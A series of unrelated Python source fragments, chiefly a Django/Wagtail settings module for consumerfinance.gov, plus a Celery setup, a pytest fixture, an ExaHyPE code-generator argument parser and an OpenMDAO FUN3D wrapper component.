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from celery import Celery from zsl.interface.importer import initialize_web_application initialize_web_application() from zsl.application.service_application import service_application from zsl.interface.celery.worker import CeleryTaskQueueOutsideWorkerModule service_application.add_injector_module(CeleryTaskQueueOutsideWorkerModule) app = Celery(backend='rpc', broker='redis://localhost')
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import json import os import secrets from pathlib import Path from django.conf import global_settings from django.core.exceptions import ImproperlyConfigured from django.utils.translation import ugettext_lazy as _ import dj_database_url from elasticsearch import RequestsHttpConnection from requests_aws4auth import AWS4Auth from cfgov.util import admin_emails # Repository root is 4 levels above this file REPOSITORY_ROOT = Path(__file__).resolve().parents[3] # This is the root of the Django project, 'cfgov' PROJECT_ROOT = REPOSITORY_ROOT.joinpath("cfgov") V1_TEMPLATE_ROOT = PROJECT_ROOT.joinpath("jinja2", "v1") SECRET_KEY = os.environ.get("SECRET_KEY", os.urandom(32)) # Deploy environment DEPLOY_ENVIRONMENT = os.getenv("DEPLOY_ENVIRONMENT") # In certain environments, we allow DEBUG to be enabled DEBUG = os.environ.get("DJANGO_DEBUG") == "True" # signal that tells us that this is a proxied HTTPS request # effects how request.is_secure() responds SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") USE_X_FORWARDED_HOST = True # in some environments, we want to respect X-Forwarded-Port USE_X_FORWARDED_PORT = os.environ.get("USE_X_FORWARDED_PORT") == "True" # Use the django default password hashing PASSWORD_HASHERS = global_settings.PASSWORD_HASHERS # Application definition INSTALLED_APPS = ( "permissions_viewer", "wagtail.core", "wagtail.admin", "wagtail.documents", "wagtail.snippets", "wagtail.users", "wagtail.images", "wagtail.embeds", "wagtail.contrib.frontend_cache", "wagtail.contrib.redirects", "wagtail.contrib.forms", "wagtail.sites", "wagtail.contrib.routable_page", "wagtail.contrib.modeladmin", "wagtail.contrib.table_block", "wagtail.contrib.postgres_search", "localflavor", "modelcluster", "taggit", "wagtailinventory", "wagtailsharing", "flags", "wagtailautocomplete", "wagtailflags", "watchman", "ask_cfpb", "agreements", "django.contrib.admin", "django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "django.contrib.messages", "django.contrib.sitemaps", "django.contrib.staticfiles", "django.contrib.humanize", "wagtail.search", "storages", "data_research", "v1", "core", "legacy", "django_extensions", "jobmanager", "wellbeing", "search", "paying_for_college", "prepaid_agreements", "regulations3k", "retirement_api", "treemodeladmin", "housing_counselor", "hmda", "youth_employment", "diversity_inclusion", "mega_menu.apps.MegaMenuConfig", "form_explainer.apps.FormExplainerConfig", "teachers_digital_platform", "wagtailmedia", "django_elasticsearch_dsl", "corsheaders", # Satellites "ccdb5_ui", "complaint_search", "countylimits", "crtool", "mptt", "ratechecker", "rest_framework", ) WAGTAILSEARCH_BACKENDS = { # The default search backend for Wagtail is the db backend, which does not # support the custom search_fields defined on Page model descendents when # using `Page.objects.search()`. # # Other backends *do* support those custom search_fields, so for now to # preserve the current behavior of /admin/pages/search (which calls # `Page.objects.search()`), the default backend will remain `db`. # # This also preserves the current behavior of our external link search, # /admin/external-links/, which calls each page model's `objects.search()` # explicitly to get results, but which returns fewer results with the # Postgres full text backend. # # An upcoming effort to overhaul search within consumerfinance.gov and # Wagtail should address these issues. In the meantime, Postgres full text # search with the custom search_fields defined on our models is available # with the "fulltext" backend defined below. 'default': { 'BACKEND': 'wagtail.search.backends.db', }, 'fulltext': { 'BACKEND': 'wagtail.contrib.postgres_search.backend', }, } MIDDLEWARE = ( "django.contrib.sessions.middleware.SessionMiddleware", "django.middleware.http.ConditionalGetMiddleware", "corsheaders.middleware.CorsMiddleware", "django.middleware.common.CommonMiddleware", "core.middleware.PathBasedCsrfViewMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware", "django.contrib.messages.middleware.MessageMiddleware", "core.middleware.ParseLinksMiddleware", "core.middleware.DownstreamCacheControlMiddleware", "core.middleware.SelfHealingMiddleware", "wagtail.contrib.redirects.middleware.RedirectMiddleware", "core.middleware.DeactivateTranslationsMiddleware", "django.middleware.security.SecurityMiddleware", ) CSP_MIDDLEWARE = ("csp.middleware.CSPMiddleware",) if "CSP_ENFORCE" in os.environ: MIDDLEWARE += CSP_MIDDLEWARE ROOT_URLCONF = "cfgov.urls" # We support two different template engines: Django templates and Jinja2 # templates. See https://docs.djangoproject.com/en/dev/topics/templates/ # for an overview of how Django templates work. wagtail_extensions = [ "wagtail.core.jinja2tags.core", "wagtail.admin.jinja2tags.userbar", "wagtail.images.jinja2tags.images", ] TEMPLATES = [ { "BACKEND": "django.template.backends.django.DjangoTemplates", # Look for Django templates in these directories "DIRS": [PROJECT_ROOT.joinpath("templates")], # Look for Django templates in each app under a templates subdirectory "APP_DIRS": True, "OPTIONS": { "builtins": [], "context_processors": [ "django.template.context_processors.debug", "django.template.context_processors.request", "django.contrib.auth.context_processors.auth", "django.contrib.messages.context_processors.messages", ], }, }, { "NAME": "wagtail-env", "BACKEND": "django.template.backends.jinja2.Jinja2", # Look for Jinja2 templates in these directories "DIRS": [ V1_TEMPLATE_ROOT, V1_TEMPLATE_ROOT.joinpath("_includes"), V1_TEMPLATE_ROOT.joinpath("_layouts"), PROJECT_ROOT.joinpath("static_built"), ], # Look for Jinja2 templates in each app under a jinja2 subdirectory "APP_DIRS": True, "OPTIONS": { "environment": "v1.jinja2_environment.environment", "extensions": wagtail_extensions + [ "jinja2.ext.do", "jinja2.ext.i18n", "jinja2.ext.loopcontrols", "flags.jinja2tags.flags", "core.jinja2tags.filters", "agreements.jinja2tags.agreements", "mega_menu.jinja2tags.MegaMenuExtension", "prepaid_agreements.jinja2tags.prepaid_agreements", "regulations3k.jinja2tags.regulations", "v1.jinja2tags.datetimes_extension", "v1.jinja2tags.fragment_cache_extension", "v1.jinja2tags.v1_extension", ], }, }, ] WSGI_APPLICATION = "cfgov.wsgi.application" # Admin Url Access ALLOW_ADMIN_URL = os.environ.get("ALLOW_ADMIN_URL", False) if ALLOW_ADMIN_URL: DATA_UPLOAD_MAX_NUMBER_FIELDS = 2000 # For heavy Wagtail pages # Databases DATABASES = {} # If DATABASE_URL is defined in the environment, use it to set the Django DB if os.getenv("DATABASE_URL"): DATABASES["default"] = dj_database_url.config() # Internationalization # https://docs.djangoproject.com/en/stable/topics/i18n/ LANGUAGE_CODE = "en-us" LANGUAGES = ( ("en", _("English")), ("es", _("Spanish")), ) LOCALE_PATHS = (os.path.join(PROJECT_ROOT, "locale"),) TIME_ZONE = "America/New_York" USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/stable/howto/static-files/ STATIC_URL = "/static/" MEDIA_ROOT = os.environ.get("MEDIA_ROOT", os.path.join(PROJECT_ROOT, "f")) MEDIA_URL = "/f/" # List of finder classes that know how to find static files in # various locations STATICFILES_FINDERS = [ "django.contrib.staticfiles.finders.AppDirectoriesFinder", "django.contrib.staticfiles.finders.FileSystemFinder", ] STATICFILES_STORAGE = "django.contrib.staticfiles.storage.StaticFilesStorage" # Used to include directories not traditionally found, # app-specific 'static' directories. STATICFILES_DIRS = [ PROJECT_ROOT.joinpath("static_built"), PROJECT_ROOT.joinpath("templates", "wagtailadmin"), ] # Also include any directories under static.in STATICFILES_DIRS += [ d for d in REPOSITORY_ROOT.joinpath("static.in").iterdir() if d.is_dir() ] ALLOWED_HOSTS = ["*"] EXTERNAL_URL_ALLOWLIST = ( r"^https:\/\/facebook\.com\/cfpb$", r"^https:\/\/twitter\.com\/cfpb$", r"^https:\/\/www\.linkedin\.com\/company\/consumer-financial-protection-bureau$", # noqa 501 r"^https:\/\/www\.youtube\.com\/user\/cfpbvideo$", r"https:\/\/www\.flickr\.com\/photos\/cfpbphotos$", ) # Wagtail settings WAGTAIL_SITE_NAME = "consumerfinance.gov" WAGTAILIMAGES_IMAGE_MODEL = "v1.CFGOVImage" TAGGIT_CASE_INSENSITIVE = True WAGTAIL_USER_CREATION_FORM = "v1.auth_forms.UserCreationForm" WAGTAIL_USER_EDIT_FORM = "v1.auth_forms.UserEditForm" # LEGACY APPS MAPBOX_ACCESS_TOKEN = os.environ.get("MAPBOX_ACCESS_TOKEN") HOUSING_COUNSELOR_S3_PATH_TEMPLATE = ( "https://s3.amazonaws.com/files.consumerfinance.gov" "/a/assets/hud/{file_format}s/{zipcode}.{file_format}" ) # ElasticSearch 7 Configuration ES7_HOST = os.getenv('ES7_HOST', 'localhost') ES_PORT = os.getenv("ES_PORT", "9200") ELASTICSEARCH_BIGINT = 50000 ELASTICSEARCH_DEFAULT_ANALYZER = "snowball" if os.environ.get('USE_AWS_ES', False): awsauth = AWS4Auth( os.environ.get('AWS_ES_ACCESS_KEY'), os.environ.get('AWS_ES_SECRET_KEY'), 'us-east-1', 'es' ) ELASTICSEARCH_DSL = { 'default': { 'hosts': [{'host': ES7_HOST, 'port': 443}], 'http_auth': awsauth, 'use_ssl': True, 'connection_class': RequestsHttpConnection, 'timeout': 60 }, } else: ELASTICSEARCH_DSL = { "default": {"hosts": f"http://{ES7_HOST}:{ES_PORT}"} } ELASTICSEARCH_DSL_SIGNAL_PROCESSOR = 'search.elasticsearch_helpers.WagtailSignalProcessor' # S3 Configuration # https://django-storages.readthedocs.io/en/latest/backends/amazon-S3.html#settings AWS_LOCATION = "f" # A path prefix that will be prepended to all uploads AWS_QUERYSTRING_AUTH = False # do not add auth-related query params to URL AWS_S3_FILE_OVERWRITE = False AWS_S3_SECURE_URLS = True # True = use https; False = use http AWS_STORAGE_BUCKET_NAME = os.environ.get("AWS_STORAGE_BUCKET_NAME") AWS_DEFAULT_ACL = None # Default to using the ACL of the bucket if os.environ.get("S3_ENABLED", "False") == "True": AWS_ACCESS_KEY_ID = os.environ["AWS_ACCESS_KEY_ID"] AWS_SECRET_ACCESS_KEY = os.environ["AWS_SECRET_ACCESS_KEY"] if os.environ.get("AWS_S3_CUSTOM_DOMAIN"): AWS_S3_CUSTOM_DOMAIN = os.environ["AWS_S3_CUSTOM_DOMAIN"] DEFAULT_FILE_STORAGE = "storages.backends.s3boto3.S3Boto3Storage" MEDIA_URL = os.path.join(os.environ.get("AWS_S3_URL"), AWS_LOCATION, "") # GovDelivery GOVDELIVERY_ACCOUNT_CODE = os.environ.get("GOVDELIVERY_ACCOUNT_CODE") # Removes wagtail version update check banner from admin page WAGTAIL_ENABLE_UPDATE_CHECK = False # Email ADMINS = admin_emails(os.environ.get("ADMIN_EMAILS")) if DEPLOY_ENVIRONMENT: EMAIL_SUBJECT_PREFIX = "[{}] ".format(DEPLOY_ENVIRONMENT.title()) EMAIL_BACKEND = "django.core.mail.backends.console.EmailBackend" WAGTAILADMIN_NOTIFICATION_FROM_EMAIL = os.environ.get( "WAGTAILADMIN_NOTIFICATION_FROM_EMAIL" ) # Password Policies # cfpb_common password rules CFPB_COMMON_PASSWORD_RULES = [ [r".{12,}", "Minimum allowed length is 12 characters"], [r"[A-Z]", "Password must include at least one capital letter"], [r"[a-z]", "Password must include at least one lowercase letter"], [r"[0-9]", "Password must include at least one digit"], [ r"[@#$%&!]", "Password must include at least one special character (@#$%&!)", ], ] # cfpb_common login rules # in seconds LOGIN_FAIL_TIME_PERIOD = os.environ.get("LOGIN_FAIL_TIME_PERIOD", 120 * 60) # number of failed attempts LOGIN_FAILS_ALLOWED = os.environ.get("LOGIN_FAILS_ALLOWED", 5) LOGIN_REDIRECT_URL = "/admin/" LOGIN_URL = "/login/" # When we generate an full HTML version of the regulation, we want to # write it out somewhere. This is where. OFFLINE_OUTPUT_DIR = "" DATE_FORMAT = "n/j/Y" GOOGLE_ANALYTICS_ID = "" GOOGLE_ANALYTICS_SITE = "" # Regulations.gov environment variables REGSGOV_BASE_URL = os.environ.get("REGSGOV_BASE_URL") REGSGOV_API_KEY = os.environ.get("REGSGOV_API_KEY") # CDNs WAGTAILFRONTENDCACHE = {} ENABLE_AKAMAI_CACHE_PURGE = os.environ.get("ENABLE_AKAMAI_CACHE_PURGE", False) if ENABLE_AKAMAI_CACHE_PURGE: WAGTAILFRONTENDCACHE["akamai"] = { "BACKEND": "v1.models.caching.AkamaiBackend", "CLIENT_TOKEN": os.environ.get("AKAMAI_CLIENT_TOKEN"), "CLIENT_SECRET": os.environ.get("AKAMAI_CLIENT_SECRET"), "ACCESS_TOKEN": os.environ.get("AKAMAI_ACCESS_TOKEN"), } ENABLE_CLOUDFRONT_CACHE_PURGE = os.environ.get( "ENABLE_CLOUDFRONT_CACHE_PURGE", False ) if ENABLE_CLOUDFRONT_CACHE_PURGE: WAGTAILFRONTENDCACHE["files"] = { "BACKEND": "wagtail.contrib.frontend_cache.backends.CloudfrontBackend", "DISTRIBUTION_ID": { "files.consumerfinance.gov": os.environ.get( "CLOUDFRONT_DISTRIBUTION_ID_FILES" ) }, } # CSP Allowlists # These specify what is allowed in <script> tags CSP_SCRIPT_SRC = ( "'self'", "'unsafe-inline'", "'unsafe-eval'", "*.consumerfinance.gov", "*.google-analytics.com", "*.googletagmanager.com", "*.googleoptimize.com", "tagmanager.google.com", "optimize.google.com", "ajax.googleapis.com", "search.usa.gov", "api.mapbox.com", "js-agent.newrelic.com", "dnn506yrbagrg.cloudfront.net", "bam.nr-data.net", "*.youtube.com", "*.ytimg.com", "trk.cetrk.com", "universal.iperceptions.com", "cdn.mouseflow.com", "n2.mouseflow.com", "us.mouseflow.com", "geocoding.geo.census.gov", "tigerweb.geo.census.gov", "about:", "connect.facebook.net", "www.federalregister.gov", "storage.googleapis.com", "*.qualtrics.com", ) # These specify valid sources of CSS code CSP_STYLE_SRC = ( "'self'", "'unsafe-inline'", "*.consumerfinance.gov", "fast.fonts.net", "tagmanager.google.com", "optimize.google.com", "api.mapbox.com", "fonts.googleapis.com", ) # These specify valid image sources CSP_IMG_SRC = ( "'self'", "*.consumerfinance.gov", "www.ecfr.gov", "s3.amazonaws.com", "www.gstatic.com", "ssl.gstatic.com", "stats.g.doubleclick.net", "img.youtube.com", "*.google-analytics.com", "trk.cetrk.com", "searchstats.usa.gov", "gtrk.s3.amazonaws.com", "*.googletagmanager.com", "tagmanager.google.com", "maps.googleapis.com", "optimize.google.com", "api.mapbox.com", "*.tiles.mapbox.com", "stats.search.usa.gov", "blob:", "data:", "www.facebook.com", "www.gravatar.com", "*.qualtrics.com", "*.mouseflow.com", ) # These specify what URL's we allow to appear in frames/iframes CSP_FRAME_SRC = ( "'self'", "*.consumerfinance.gov", "*.googletagmanager.com", "*.google-analytics.com", "*.googleoptimize.com", "optimize.google.com", "www.youtube.com", "*.doubleclick.net", "universal.iperceptions.com", "www.facebook.com", "staticxx.facebook.com", "mediasite.yorkcast.com", "*.qualtrics.com", ) # These specify where we allow fonts to come from CSP_FONT_SRC = ( "'self'", "data:", "*.consumerfinance.gov", "fast.fonts.net", "fonts.google.com", "fonts.gstatic.com", ) # These specify hosts we can make (potentially) cross-domain AJAX requests to CSP_CONNECT_SRC = ( "'self'", "*.consumerfinance.gov", "*.google-analytics.com", "*.googleoptimize.com", "*.tiles.mapbox.com", "api.mapbox.com", "bam.nr-data.net", "s3.amazonaws.com", "public.govdelivery.com", "n2.mouseflow.com", "api.iperceptions.com", "*.qualtrics.com", "raw.githubusercontent.com", ) # These specify valid media sources (e.g., MP3 files) CSP_MEDIA_SRC = ( "'self'", "*.consumerfinance.gov", ) # FEATURE FLAGS # Flags can be declared here with an empty list, which will evaluate as false # until the flag is enabled in the Wagtail admin, or with a list of conditions. # Each condition should be a tuple or dict in one of these forms: # (condition-string, value) or {"condition": condition-string, "value": value} # An optional 3rd value, "required," can be set to True. It defaults to False. # Flags can also be created (and deleted) in the Wagtail admin. FLAGS = { # Ask CFPB search spelling correction support # When enabled, spelling suggestions will appear in Ask CFPB search and # will be used when the given search term provides no results "ASK_SEARCH_TYPOS": [], # Beta banner, seen on beta.consumerfinance.gov # When enabled, a banner appears across the top of the site proclaiming # "This beta site is a work in progress." "BETA_NOTICE": [("environment is", "beta")], # When enabled, include a recruitment code comment in the base template "CFPB_RECRUITING": [], # When enabled, display a "technical issues" banner on /complaintdatabase "CCDB_TECHNICAL_ISSUES": [], # When enabled, display a banner stating the complaint intake form is down "COMPLAINT_INTAKE_TECHNICAL_ISSUES": [ { "condition": "path matches", "value": r"^/complaint", "required": True, }, # Boolean to turn it off explicitly unless enabled by another condition {"condition": "boolean", "value": False}, ], # When enabled, display a banner stating that the complaint intake form is # offline for maintenance. A combination of 'after date'/'before date' # conditions is expected. "COMPLAINT_INTAKE_MAINTENANCE": [ { "condition": "path matches", "value": r"^/complaint", "required": True, }, # Boolean to turn it off explicitly unless enabled by another condition {"condition": "boolean", "value": False}, ], # Google Optimize code snippets for A/B testing # When enabled this flag will add various Google Optimize code snippets. # Intended for use with path conditions. "AB_TESTING": [], # Email popups. "EMAIL_POPUP_OAH": [("boolean", True)], "EMAIL_POPUP_DEBT": [("boolean", True)], # Ping google on page publication in production only "PING_GOOGLE_ON_PUBLISH": [("environment is", "production")], # Manually enabled when Beta is being used for an external test. # Controls the /beta_external_testing endpoint, which Jenkins jobs # query to determine whether to refresh Beta database. "BETA_EXTERNAL_TESTING": [], # During a Salesforce system outage, the following flag should be enabled # to alert users that the Collect community is down. "COLLECT_OUTAGE": [ { "condition": "path matches", "value": ( r"^/data-research/credit-card-data/terms-credit-card-plans-survey/$|" # noqa: E501 r"^/data-research/prepaid-accounts/$" ), "required": True, }, # Boolean to turn it off explicitly unless enabled by another condition {"condition": "boolean", "value": False}, ], # During a Salesforce system outage, the following flag # should be enabled to alert users that # the OMWI assessment form and inclusivity portal are down. "OMWI_SALESFORCE_OUTAGE": [ { "condition": "path matches", "value": ( r"^/about-us/diversity-and-inclusion/$|" r"^/about-us/diversity-and-inclusion/self-assessment-financial-institutions/$" ), # noqa: E501 "required": True, }, # Boolean to turn it off explicitly unless enabled by another condition {"condition": "boolean", "value": False}, ], # Controls whether or not to include Qualtrics Web Intercept code for the # Q42020 Ask CFPB customer satisfaction survey. "ASK_SURVEY_INTERCEPT": [], # Hide archive filter options in the filterable UI "HIDE_ARCHIVE_FILTER_OPTIONS": [], # Supports testing of a new 2021 version of the website home page. # Enable by appending ?home_page_2021=True to home page URLs. "HOME_PAGE_2021": [ ("environment is not", "production", True), ("parameter", "home_page_2021", True), ], } # Watchman tokens, a comma-separated string of tokens used to authenticate # global status endpoint. The Watchman status URL endpoint is only included if # WATCHMAN_TOKENS is defined as an environment variable. A blank value for # WATCHMAN_TOKENS will make the status endpoint accessible without a token. WATCHMAN_TOKENS = os.environ.get("WATCHMAN_TOKENS") # This specifies what checks Watchman should run and include in its output # https://github.com/mwarkentin/django-watchman#custom-checks WATCHMAN_CHECKS = ( "alerts.checks.elasticsearch_health", ) # We want the ability to serve the latest drafts of some pages on beta # This value is read by v1.wagtail_hooks SERVE_LATEST_DRAFT_PAGES = [] # To expose a previously-published page's latest draft version on beta, # add its primary key to the list below if DEPLOY_ENVIRONMENT == "beta": SERVE_LATEST_DRAFT_PAGES = [] # Email popup configuration. See v1.templatetags.email_popup. EMAIL_POPUP_URLS = { "debt": [ "/ask-cfpb/what-is-a-statute-of-limitations-on-a-debt-en-1389/", "/ask-cfpb/what-is-the-best-way-to-negotiate-a-settlement-with-a-debt-collector-en-1447/", # noqa 501 "/ask-cfpb/what-should-i-do-when-a-debt-collector-contacts-me-en-1695/", # noqa 501 "/consumer-tools/debt-collection/", ], "oah": ["/owning-a-home/", "/owning-a-home/mortgage-estimate/"], } REGULATIONS_REFERENCE_MAPPING = [ ( r"(?P<section>[\w]+)-(?P<paragraph>[\w-]*-Interp)", "Interp-{section}", "{section}-{paragraph}", ), ] # See core.middleware.ParseLinksMiddleware. Normally all HTML responses get # processed by this middleware so that their link content gets the proper # markup (e.g., download icons). We want to exclude certain pages from this # middleware. This list of regular expressions defines a set of URLs against # which we don't want this logic to be run. PARSE_LINKS_EXCLUSION_LIST = [ # Wagtail admin pages, except preview, draft, and debug views ( r"^/admin/(?!" r"pages/\d+/(edit/preview|view_draft)/|" r"mega_menu/menu/preview/\w+/|" r"template_debug/" r")" ), # Django admin pages r"^/django-admin/", # Our custom login pages r"^/login/", # Regulations pages that have their own link markup r"^/policy-compliance/rulemaking/regulations/\d+/", # DjangoRestFramework API pages where link icons are intrusive r"^/oah-api/", # External site interstitial (if we're here, the links have already been # parsed) r"^/external-site/", ] # Required by django-extensions to determine the execution directory used by # scripts executed with the "runscript" management command # See https://django-extensions.readthedocs.io/en/latest/runscript.html BASE_DIR = "scripts" WAGTAILADMIN_RICH_TEXT_EDITORS = { "default": { "WIDGET": "wagtail.admin.rich_text.DraftailRichTextArea", "OPTIONS": { "features": [ "h2", "h3", "h4", "h5", "blockquote", "hr", "ol", "ul", "bold", "italic", "link", "document-link", "image", ] }, }, } # Serialize Decimal(3.14) as 3.14, not "3.14" REST_FRAMEWORK = { "COERCE_DECIMAL_TO_STRING": False } # We require CSRF only on authenticated paths. This setting is handled by our # core.middleware.PathBasedCsrfViewMiddleware. # # Any paths listed here that are public-facing will receive an " # "Edge-Control: no-store" header from our # core.middleware.DownstreamCacheControlMiddleware and will not be cached. CSRF_REQUIRED_PATHS = ( "/login", "/admin", "/django-admin", ) # Django 2.2 Baseline required settings # exempt beta from CSRF settings until it's converted to https if DEPLOY_ENVIRONMENT and DEPLOY_ENVIRONMENT != "beta": SESSION_COOKIE_SECURE = True CSRF_COOKIE_HTTPONLY = True CSRF_COOKIE_SECURE = True SECURE_BROWSER_XSS_FILTER = True SECURE_HSTS_SECONDS = 600 SECURE_CONTENT_TYPE_NOSNIFF = True # Cache Settings CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.db.DatabaseCache', 'LOCATION': 'cfgov_default_cache', 'TIMEOUT': None, }, 'post_preview': { 'BACKEND': 'django.core.cache.backends.db.DatabaseCache', 'LOCATION': 'post_preview_cache', 'TIMEOUT': None, } } # Set our CORS allowed origins based on a JSON list in the # CORS_ALLOWED_ORIGINS environment variable. try: CORS_ALLOWED_ORIGINS = json.loads( os.environ.get("CORS_ALLOWED_ORIGINS", "[]") ) except (TypeError, ValueError): raise ImproperlyConfigured( "Environment variable CORS_ALLOWED_ORIGINS is not valid JSON. " "Expected a JSON array of allowed origins." )
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import pytest choice = ''' def choice(self, seq): """Choose a random element from a non-empty sequence.""" # raises IndexError if seq is empty return seq[self._randbelow(len(seq))] ''' match = ''' def match(pattern, string, flags=0): """Try to apply the pattern at the start of the string, returning a Match object, or None if no match was found.""" return _compile(pattern, flags).match(string) ''' getsource = ''' def getsource(object): """Return the text of the source code for an object. The argument may be a module, class, method, function, traceback, frame, or code object. The source code is returned as a single string. An OSError is raised if the source code cannot be retrieved.""" lines, lnum = getsourcelines(object) return ''.join(lines) ''' SOURCE_CODE = dict( choice=choice, match=match, getsource=getsource ) @pytest.fixture(scope='module')
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from typing import Dict, Any, Callable, Optional from .comm import Comm
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import pytest from api import _get_wikipedia_page, _select_random_wiki_entry_from_page
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#!/bin/env python ## # @file This file is part of the ExaHyPE project. # @author ExaHyPE Group (exahype@lists.lrz.de) # # @section LICENSE # # Copyright (c) 2016 http://exahype.eu # All rights reserved. # # The project has received funding from the European Union's Horizon # 2020 research and innovation programme under grant agreement # No 671698. For copyrights and licensing, please consult the webpage. # # Released under the BSD 3 Open Source License. # For the full license text, see LICENSE.txt # # # @section DESCRIPTION # # ArgumentParser # # @note # requires python3 import argparse from enum import Enum class ArgumentParser: """Public API """ class ArgType(Enum): """Types of arguments for the command line API""" MandatoryString =1 # name, type, help MandatoryInt =2 # name, type, help OptionalBool =11 # name (will add --), type, help OptionalInt =12 # name (will add --), type, help, default value, metavar # List of all expected arguments for the command line or input validation args = [ # mandatory arguments ("pathToApplication", ArgType.MandatoryString, "path to the application as given by the ExaHyPE specification file (application directory as root)"), ("pathToOptKernel", ArgType.MandatoryString, "desired relative path to the generated code (application directory as root)"), ("namespace", ArgType.MandatoryString, "desired namespace for the generated code"), ("solverName", ArgType.MandatoryString, "name of the user-solver"), ("numberOfVariables", ArgType.MandatoryInt, "the number of quantities"), ("numberOfParameters", ArgType.MandatoryInt, "the number of parameters (fixed quantities)"), ("order", ArgType.MandatoryInt, "the order of the approximation polynomial"), ("dimension", ArgType.MandatoryInt, "the number of spatial dimensions in the simulation (2 or 3)"), ("numerics", ArgType.MandatoryString, "linear or nonlinear"), ("architecture", ArgType.MandatoryString, "the microarchitecture of the target device"), # optional arguments ("useFlux", ArgType.OptionalBool, "enable flux"), ("useFluxVect", ArgType.OptionalBool, "enable vectorized flux (include useFlux)"), ("useNCP", ArgType.OptionalBool, "enable non conservative product"), ("useNCPVect", ArgType.OptionalBool, "enable vectorized non conservative product (include useNCP)"), ("useSource", ArgType.OptionalBool, "enable source terms"), ("useSourceVect", ArgType.OptionalBool, "enable vectorized source terms (include useSource)"), ("useFusedSource", ArgType.OptionalBool, "enable fused source terms (include useSource)"), ("useFusedSourceVect", ArgType.OptionalBool, "enable vectorized fused source terms (include useFusedSource and useSourceVect)"), ("useMaterialParam", ArgType.OptionalBool, "enable material parameters"), ("useMaterialParamVect",ArgType.OptionalBool, "enable vectorized material parameters"), ("usePointSources", ArgType.OptionalInt , "enable numberOfPointSources point sources", -1, "numberOfPointSources"), ("useCERKGuess", ArgType.OptionalBool, "use CERK for SpaceTimePredictor inital guess (nonlinear only)"), ("useSplitCKScalar", ArgType.OptionalBool, "use split Cauchy–Kowalevski formulation (linear only)"), ("useSplitCKVect", ArgType.OptionalBool, "use split Cauchy–Kowalevski formulation with vect PDE (linear only)"), ("useGaussLobatto", ArgType.OptionalBool, "use Gauss Lobatto Quadrature instead of Gauss Legendre"), ("useLimiter", ArgType.OptionalInt, "enable limiter with the given number of observable", -1, "numberOfObservable"), ("ghostLayerWidth", ArgType.OptionalInt, "use limiter with the given ghostLayerWidth, requires useLimiter option, default = 0", 0, "width"), ("tempVarsOnStack", ArgType.OptionalBool, "put the big scratch arrays on the stack instead of the heap (you can use ulimit -s to increase the stack size)"), ] @staticmethod def parseArgs(): """Process the command line arguments""" parser = argparse.ArgumentParser(description="This is the front end of the ExaHyPE code generator.") for arg in ArgumentParser.args: key = arg[0] type = arg[1] info = arg[2] if type == ArgumentParser.ArgType.MandatoryString: parser.add_argument(key, help=info) elif type == ArgumentParser.ArgType.MandatoryInt: parser.add_argument(key, type=int, help=info) elif type == ArgumentParser.ArgType.OptionalBool: parser.add_argument("--"+key, action="store_true", help=info) elif type == ArgumentParser.ArgType.OptionalInt: parser.add_argument("--"+key, type=int, default=arg[3], metavar=arg[4], help=info) return vars(parser.parse_args()) @staticmethod def validateInputConfig(inputConfig): """Validate a config and add the default value of missing optional arguments""" for arg in ArgumentParser.args: key = arg[0] type = arg[1] #check mandatory and raise error if not set or wrong type if type == ArgumentParser.ArgType.MandatoryString: if key not in inputConfig or not isinstance(inputConfig[key], str): raise ValueError("Invalid codegenerator configuration, argument "+key+" missing or of wrong type (string expected)") elif type == ArgumentParser.ArgType.MandatoryInt: if key not in inputConfig or not isinstance(inputConfig[key], int): raise ValueError("Invalid codegenerator configuration, argument "+key+" missing or of wrong type (int expected)") #check optional and set it to default if not set elif type == ArgumentParser.ArgType.OptionalBool: if key not in inputConfig: inputConfig[key] = False elif type == ArgumentParser.ArgType.OptionalInt: if key not in inputConfig: inputConfig[key] = arg[3] #default value @staticmethod def buildCommandLineFromConfig(inputConfig): """Build a valid command line for the given config""" commandLine = "codegenerator " for arg in ArgumentParser.args: key = arg[0] type = arg[1] # add mandatory parameters if type == ArgumentParser.ArgType.MandatoryString: commandLine += inputConfig[key] + " " elif type == ArgumentParser.ArgType.MandatoryInt: commandLine += str(inputConfig[key]) + " " # check optional and add them if set and non default elif type == ArgumentParser.ArgType.OptionalBool: if key in inputConfig and inputConfig[key]: commandLine += "--" + key + " " elif type == ArgumentParser.ArgType.OptionalInt: if key in inputConfig and inputConfig[key] != arg[3]: commandLine += "--" + key + " " + str(inputConfig[key]) + " " return commandLine
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2.521914
2,989
from typing import List, Union
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8
#!/usr/bin/env python #<!-- coding=UTF-8 --> from __future__ import absolute_import, with_statement import re import datetime from .apps import first_template from .apps import send_email from .apps import hello from .apps import layouts from .apps import simplest from .apps import standard import webify from webify.tests import get, post, difference
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''' FUN3D Wrapper ''' # --- Python/system level imports import numpy as np from string import Template from scipy.optimize import fsolve # --- OpenMDAO main and library imports from openmdao.main.api import Component from openmdao.lib.datatypes.api import Float # --- Local Python imports from StdAtm import Atmosphere class Fun3D(Component): ''' OpenMDAO component for executing Fun3D Simulations ''' # ----------------------------------- # --- Initialize Input Parameters --- # ----------------------------------- d_inf = Float(1.0, iotype='in', desc='freestream static density', units='kg/m**3') p_inf = Float(1.0, iotype='in', desc='freestream static pressure', units='Pa') t_inf = Float(1.0, iotype='in', desc='freestream static temperature', units='K') M_inf = Float(1.0, iotype='in', desc='freestream Mach No.') alpha = Float(0.0, iotype='in', desc='vehicle AoA', units='deg') R = Float(287.053, iotype='in', desc='specific gas constant', units='J/kg/K') alt = Float(0.0, iotype='in', desc='flight altitude', units='ft') T4_0 = Float(1583.889, iotype='in', desc='nozzle plenum stagnation temperature', units='K') mdot = Float(1.0, iotype='in', desc='engine mass flow rate', units='kg/s') pt2_ptL = Float(1.0, iotype='in', desc='total to freestream pressure ratio at engine face') tt2_ttL = Float( 1.0, iotype='in', desc='total to freestream temperature ratio at engine face') M2 = Float(0.0, iotype='in', desc='Mach No. at engine face') A2 = Float(0.0, iotype='in', desc='Flow through area of the engine face', units='m**2') if __name__ == "__main__": # ------------------------- # --- Default Test Case --- # ------------------------- Fun3D_Comp = Fun3D() Fun3D_Comp.run()
